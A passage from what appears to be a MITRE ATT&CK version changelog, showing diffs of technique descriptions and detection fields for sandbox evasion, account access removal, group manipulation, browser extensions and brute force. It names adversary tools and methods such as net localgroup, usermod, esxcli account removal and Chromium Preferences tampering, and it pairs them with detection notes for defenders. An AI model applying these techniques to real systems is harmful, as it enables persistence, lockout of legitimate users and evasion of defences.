and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)	Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock. Adversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.
x_mitre_version	1.3	2.0

iterable_item_removed
STIX Field	Old value	New Value
external_references	{'source_name': 'Joe Sec Nymaim', 'description': 'Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.', 'url': 'https://www.joesecurity.org/blog/3660886847485093803'}
external_references	{'source_name': 'Joe Sec Trickbot', 'description': "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.", 'url': 'https://www.joesecurity.org/blog/498839998833561473'}
external_references	{'source_name': 'Revil Independence Day', 'description': 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.', 'url': 'https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/'}
external_references	{'source_name': 'Netskope Nitol', 'description': 'Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.', 'url': 'https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique'}
external_references	{'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit'}

Minor Version Changes

[T1531] Account Access Removal

Current version: 1.5

Version changed from: 1.4 → 1.5

	Old Description			New Description
t	1	Adversaries may interrupt availability of system and network	t	1	Adversaries may interrupt availability of system and network
	>	resources by inhibiting access to accounts utilized by legi		>	resources by inhibiting access to accounts utilized by legi
	>	timate users. Accounts may be deleted, locked, or manipulate		>	timate users. Accounts may be deleted, locked, or manipulate
	>	d (ex: changed credentials) to remove access to accounts. Ad		>	d (ex: changed credentials, revoked permissions for SaaS pla
	>	versaries may also subsequently log off and/or perform a [Sy		>	tforms such as Sharepoint) to remove access to accounts.(Cit
	>	stem Shutdown/Reboot](https://attack.mitre.org/techniques/T1		>	ation: Obsidian Security SaaS Ransomware June 2023) Adversar
	>	529) to set malicious changes into place.(Citation: CarbonBl		>	ies may also subsequently log off and/or perform a [System S
	>	ack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) In W		>	hutdown/Reboot](https://attack.mitre.org/techniques/T1529) t
	>	indows, [Net](https://attack.mitre.org/software/S0039) utili		>	o set malicious changes into place.(Citation: CarbonBlack Lo
	>	ty, <code>Set-LocalUser</code> and <code>Set-ADAccountPasswo		>	ckerGoga 2019)(Citation: Unit42 LockerGoga 2019) In Windows
	>	rd</code> [PowerShell](https://attack.mitre.org/techniques/T		>	, [Net](https://attack.mitre.org/software/S0039) utility, <c
	>	1059/001) cmdlets may be used by adversaries to modify user		>	ode>Set-LocalUser</code> and <code>Set-ADAccountPassword</co
	>	accounts. Accounts could also be disabled by Group Policy. I		>	de> [PowerShell](https://attack.mitre.org/techniques/T1059/0
	>	n Linux, the <code>passwd</code> utility may be used to chan		>	01) cmdlets may be used by adversaries to modify user accoun
	>	ge passwords. On ESXi servers, accounts can be removed or mo		>	ts. Accounts could also be disabled by Group Policy. In Linu
	>	dified via esxcli (`system account set`, `system account rem		>	x, the <code>passwd</code> utility may be used to change pas
	>	ove`). Adversaries who use ransomware or similar attacks ma		>	swords. On ESXi servers, accounts can be removed or modified
	>	y first perform this and other Impact behaviors, such as [Da		>	via esxcli (`system account set`, `system account remove`).
	>	ta Destruction](https://attack.mitre.org/techniques/T1485) a		>	Adversaries who use ransomware or similar attacks may firs
	>	nd [Defacement](https://attack.mitre.org/techniques/T1491),		>	t perform this and other Impact behaviors, such as [Data Des
	>	in order to impede incident response/recovery before complet		>	truction](https://attack.mitre.org/techniques/T1485) and [De
	>	ing the [Data Encrypted for Impact](https://attack.mitre.org		>	facement](https://attack.mitre.org/techniques/T1491), in ord
	>	/techniques/T1486) objective.		>	er to impede incident response/recovery before completing th
				>	e [Data Encrypted for Impact](https://attack.mitre.org/techn
				>	iques/T1486) objective.

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Deletion)
DS0002: User Account (User Account Modification)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0120: Account Access Removal via Multi-Platform Audit Correlation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Active Directory: Active Directory Object Modification', 'User Account: User Account Modification', 'User Account: User Account Deletion']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:58.987000+00:00	2025-10-24 17:49:14.836000+00:00
description	Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) In Windows, [Net](https://attack.mitre.org/software/S0039) utility, `Set-LocalUser` and `Set-ADAccountPassword` [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the `passwd` utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`). Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective.	Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) In Windows, [Net](https://attack.mitre.org/software/S0039) utility, `Set-LocalUser` and `Set-ADAccountPassword` [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the `passwd` utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`). Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account: * Event ID 4723 - An attempt was made to change an account's password * Event ID 4724 - An attempt was made to reset an account's password * Event ID 4726 - A user account was deleted * Event ID 4740 - A user account was locked out Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.
x_mitre_version	1.4	1.5

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Obsidian Security SaaS Ransomware June 2023', 'description': 'Obsidian Threat Research Team. (2023, June 6). SaaS Ransomware Observed in the Wild for Sharepoint in Microsoft 365. Retrieved October 5, 2025.', 'url': 'https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/'}
x_mitre_contributors		Liran Ravich, CardinalOps

[T1583] Acquire Infrastructure

Current version: 1.5

Version changed from: 1.4 → 1.5

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)
DS0035: Internet Scan (Response Metadata)
DS0038: Domain Name (Active DNS)
DS0038: Domain Name (Domain Registration)
DS0038: Domain Name (Passive DNS)

New Detections (Detection Strategies -> Technique):

DET0895: Detection of Acquire Infrastructure

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Metadata', 'Internet Scan: Response Content', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:44:09.753000+00:00	2025-10-24 17:48:20.468000+00:00
x_mitre_detection	Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
x_mitre_version	1.4	1.5

[T1098.007] Account Manipulation: Additional Local or Domain Groups

Current version: 1.1

Version changed from: 1.0 → 1.1

	Old Description			New Description
t	1	An adversary may add additional local or domain groups to an	t	1	An adversary may add additional local or domain groups to an
	>	adversary-controlled account to maintain persistent access		>	adversary-controlled account to maintain persistent access
	>	to a system or domain. On Windows, accounts may use the `ne		>	to a system or domain. On Windows, accounts may use the `ne
	>	t localgroup` and `net group` commands to add existing users		>	t localgroup` and `net group` commands to add existing users
	>	to local and domain groups.(Citation: Microsoft Net Localgr		>	to local and domain groups.(Citation: Microsoft Net Localgr
	>	oup)(Citation: Microsoft Net Group) On Linux, adversaries ma		>	oup)(Citation: Microsoft Net Group) On Linux, adversaries ma
	>	y use the `usermod` command for the same purpose.(Citation:		>	y use the `usermod` command for the same purpose.(Citation:
	>	Linux Usermod) For example, accounts may be added to the lo		>	Linux Usermod) For example, accounts may be added to the lo
	>	cal administrators group on Windows devices to maintain elev		>	cal administrators group on Windows devices to maintain elev
	>	ated privileges. They may also be added to the Remote Deskto		>	ated privileges. They may also be added to the Remote Deskto
	>	p Users group, which allows them to leverage [Remote Desktop		>	p Users group, which allows them to leverage [Remote Desktop
	>	Protocol](https://attack.mitre.org/techniques/T1021/001) to		>	Protocol](https://attack.mitre.org/techniques/T1021/001) to
	>	log into the endpoints in the future.(Citation: Microsoft R		>	log into the endpoints in the future.(Citation: Microsoft R
	>	DP Logons) On Linux, accounts may be added to the sudoers gr		>	DP Logons) Adversaries may also add accounts to VPN user gro
	>	oup, allowing them to persistently leverage [Sudo and Sudo C		>	ups to gain future persistence on the network.(Citation: Cyb
	>	aching](https://attack.mitre.org/techniques/T1548/003) for e		>	er Security News) On Linux, accounts may be added to the sud
	>	levated privileges. In Windows environments, machine accou		>	oers group, allowing them to persistently leverage [Sudo and
	>	nts may also be added to domain groups. This allows the loca		>	Sudo Caching](https://attack.mitre.org/techniques/T1548/003
	>	l SYSTEM account to gain privileges on the domain.(Citation:		>	) for elevated privileges. In Windows environments, machin
	>	RootDSE AD Detection 2022)		>	e accounts may also be added to domain groups. This allows t
				>	he local SYSTEM account to gain privileges on the domain.(Ci
				>	tation: RootDSE AD Detection 2022)

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Modification)

New Detections (Detection Strategies -> Technique):

DET0310: Suspicious Addition to Local or Domain Groups

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:47:40.787000+00:00	2025-09-26 18:25:02.290000+00:00
description	An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain. On Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod) For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. In Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)	An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain. On Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod) For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) Adversaries may also add accounts to VPN user groups to gain future persistence on the network.(Citation: Cyber Security News) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. In Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Cyber Security News', 'description': 'Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.', 'url': 'https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/'}

[T1583.005] Acquire Infrastructure: Botnet

Current version: 1.2

Version changed from: 1.1 → 1.2

New Detections (Detection Strategies -> Technique):

DET0837: Detection of Botnet

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 13:29:34.161000+00:00	2025-10-24 17:48:36.255000+00:00
x_mitre_detection	Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).
x_mitre_version	1.1	1.2

[T1176.001] Software Extensions: Browser Extensions

Current version: 1.1

Version changed from: 1.0 → 1.1

	Old Description			New Description
t	1	Adversaries may abuse internet browser extensions to establi	t	1	Adversaries may abuse internet browser extensions to establi
	>	sh persistent access to victim systems. Browser extensions o		>	sh persistent access to victim systems. Browser extensions o
	>	r plugins are small programs that can add functionality to a		>	r plugins are small programs that can add functionality to a
	>	nd customize aspects of internet browsers. They can be insta		>	nd customize aspects of internet browsers. They can be insta
	>	lled directly via a local file or custom URL or through a br		>	lled directly via a local file or custom URL or through a br
	>	owser's app store - an official online platform where users		>	owser's app store - an official online platform where users
	>	can browse, install, and manage extensions for a specific we		>	can browse, install, and manage extensions for a specific we
	>	b browser. Extensions generally inherit the web browser's pe		>	b browser. Extensions generally inherit the web browser's pe
	>	rmissions previously granted.(Citation: Wikipedia Browser Ex		>	rmissions previously granted.(Citation: Wikipedia Browser Ex
	>	tension)(Citation: Chrome Extensions Definition) Maliciou		>	tension)(Citation: Chrome Extensions Definition) Maliciou
	>	s extensions can be installed into a browser through malicio		>	s extensions can be installed into a browser through malicio
	>	us app store downloads masquerading as legitimate extensions		>	us app store downloads masquerading as legitimate extensions
	>	, through social engineering, or by an adversary that has al		>	, through social engineering, or by an adversary that has al
	>	ready compromised a system. Security can be limited on brows		>	ready compromised a system. Security can be limited on brows
	>	er app stores, so it may not be difficult for malicious exte		>	er app stores, so it may not be difficult for malicious exte
	>	nsions to defeat automated scanners.(Citation: Malicious Chr		>	nsions to defeat automated scanners.(Citation: Malicious Chr
	>	ome Extension Numbers) Depending on the browser, adversaries		>	ome Extension Numbers) Depending on the browser, adversaries
	>	may also manipulate an extension's update url to install up		>	may also manipulate an extension's update url to install up
	>	dates from an adversary-controlled server or manipulate the		>	dates from an adversary-controlled server or manipulate the
	>	mobile configuration file to silently install additional ext		>	mobile configuration file to silently install additional ext
	>	ensions. Previous to macOS 11, adversaries could silentl		>	ensions. Adversaries may abuse how chromium-based browsers
	>	y install browser extensions via the command line using the		>	load extensions by modifying or replacing the Preferences a
	>	<code>profiles</code> tool to install malicious <code>.mobil		>	nd/or Secure Preferences files to silently install malicious
	>	econfig</code> files. In macOS 11+, the use of the <code>pro		>	extensions. When the browser is not running, adversaries ca
	>	files</code> tool can no longer install configuration profil		>	n alter these files, ensuring the extension is loaded, grant
	>	es; however, <code>.mobileconfig</code> files can be planted		>	ed desired permissions, and will persist in browser sessions
	>	and installed with user interaction.(Citation: xorrior chro		>	. This method does not require user consent and extensions a
	>	me extensions macOS) Once the extension is installed, it		>	re silently loaded in the background from disk or from the b
	>	can browse to websites in the background, steal all informat		>	rowser's trusted store.(Citation: Pulsedive) Previous to
	>	ion that a user enters into a browser (including credentials		>	macOS 11, adversaries could silently install browser extensi
	>	), and be used as an installer for a RAT for persistence.(Ci		>	ons via the command line using the <code>profiles</code> too
	>	tation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chro		>	l to install malicious <code>.mobileconfig</code> files. In
	>	me Extensions)(Citation: Banker Google Chrome Extension Stea		>	macOS 11+, the use of the <code>profiles</code> tool can no
	>	ls Creds)(Citation: Catch All Chrome Extension) There have		>	longer install configuration profiles; however, <code>.mobil
	>	also been instances of botnets using a persistent backdoor		>	econfig</code> files can be planted and installed with user
	>	through malicious Chrome extensions for [Command and Control		>	interaction.(Citation: xorrior chrome extensions macOS) O
	>	](https://attack.mitre.org/tactics/TA0011).(Citation: Stanti		>	nce the extension is installed, it can browse to websites in
	>	nko Botnet)(Citation: Chrome Extension C2 Malware) Adversari		>	the background, steal all information that a user enters in
	>	es may also use browser extensions to modify browser permiss		>	to a browser (including credentials), and be used as an inst
	>	ions and components, privacy settings, and other security co		>	aller for a RAT for persistence.(Citation: Chrome Extension
	>	ntrols for [Defense Evasion](https://attack.mitre.org/tactic		>	Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation:
	>	s/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adr		>	Banker Google Chrome Extension Steals Creds)(Citation: Catch
	>	ozek)		>	All Chrome Extension) There have also been instances of b
				>	otnets using a persistent backdoor through malicious Chrome
				>	extensions for [Command and Control](https://attack.mitre.or
				>	g/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chr
				>	ome Extension C2 Malware) Adversaries may also use browser e
				>	xtensions to modify browser permissions and components, priv
				>	acy settings, and other security controls for [Defense Evasi
				>	on](https://attack.mitre.org/tactics/TA0005).(Citation: Brow
				>	ers FriarFox)(Citation: Browser Adrozek)

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0044: Detecting Malicious Browser Extensions Across Platforms

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_contributors		['Gordon Long, LegioX/Zoom, asaurusrex']

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:15.232000+00:00	2025-09-22 17:00:42.545000+00:00
description	Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. Previous to macOS 11, adversaries could silently install browser extensions via the command line using the `profiles` tool to install malicious `.mobileconfig` files. In macOS 11+, the use of the `profiles` tool can no longer install configuration profiles; however, `.mobileconfig` files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek)	Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. Adversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive) Previous to macOS 11, adversaries could silently install browser extensions via the command line using the `profiles` tool to install malicious `.mobileconfig` files. In macOS 11+, the use of the `profiles` tool can no longer install configuration profiles; however, `.mobileconfig` files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Pulsedive', 'description': ' Pulsedive Threat Research. (2025, March 21). Rilide - An Information Stealing Browser Extension. Retrieved September 22, 2025.', 'url': 'https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension/'}

[T1110] Brute Force

Current version: 2.8

Version changed from: 2.7 → 2.8

	Old Description			New Description
t	1	Adversaries may use brute force techniques to gain access to	t	1	Adversaries may use brute force techniques to gain access to
	>	accounts when passwords are unknown or when password hashes		>	accounts when passwords are unknown or when password hashes
	>	are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit		>	are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit
	>	hout knowledge of the password for an account or set of acco		>	hout knowledge of the password for an account or set of acco
	>	unts, an adversary may systematically guess the password usi		>	unts, an adversary may systematically guess the password usi
	>	ng a repetitive or iterative mechanism.(Citation: Dragos Cra		>	ng a repetitive or iterative mechanism.(Citation: Dragos Cra
	>	shoverride 2018) Brute forcing passwords can take place via		>	shoverride 2018) Brute forcing passwords can take place via
	>	interaction with a service that will check the validity of t		>	interaction with a service that will check the validity of t
	>	hose credentials or offline against previously acquired cred		>	hose credentials or offline against previously acquired cred
	>	ential data, such as password hashes. Brute forcing credent		>	ential data, such as password hashes. Brute forcing credent
	>	ials may take place at various points during a breach. For e		>	ials may take place at various points during a breach. For e
	>	xample, adversaries may attempt to brute force access to [Va		>	xample, adversaries may attempt to brute force access to [Va
	>	lid Accounts](https://attack.mitre.org/techniques/T1078) wit		>	lid Accounts](https://attack.mitre.org/techniques/T1078) wit
	>	hin a victim environment leveraging knowledge gathered from		>	hin a victim environment leveraging knowledge gathered from
	>	other post-compromise behaviors such as [OS Credential Dumpi		>	other post-compromise behaviors such as [OS Credential Dumpi
	>	ng](https://attack.mitre.org/techniques/T1003), [Account Dis		>	ng](https://attack.mitre.org/techniques/T1003), [Account Dis
	>	covery](https://attack.mitre.org/techniques/T1087), or [Pass		>	covery](https://attack.mitre.org/techniques/T1087), or [Pass
	>	word Policy Discovery](https://attack.mitre.org/techniques/T		>	word Policy Discovery](https://attack.mitre.org/techniques/T
	>	1201). Adversaries may also combine brute forcing activity w		>	1201). Adversaries may also combine brute forcing activity w
	>	ith behaviors such as [External Remote Services](https://att		>	ith behaviors such as [External Remote Services](https://att
	>	ack.mitre.org/techniques/T1133) as part of Initial Access.		>	ack.mitre.org/techniques/T1133) as part of Initial Access.
				>	If an adversary guesses the correct password but fails to l
				>	ogin to a compromised account due to location-based conditio
				>	nal access policies, they may change their infrastructure un
				>	til they match the victim’s location and therefore bypass th
				>	ose policies.(Citation: ReliaQuest Health Care Social Engine
				>	ering Campaign 2024)

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0463: Brute Force Authentication Failures with Multi-Platform Log Correlation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Authentication', 'Command: Command Execution', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:56.556000+00:00	2025-10-24 17:49:12.218000+00:00
description	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.
x_mitre_version	2.7	2.8

iterable_item_added
STIX Field	Old value	New Value
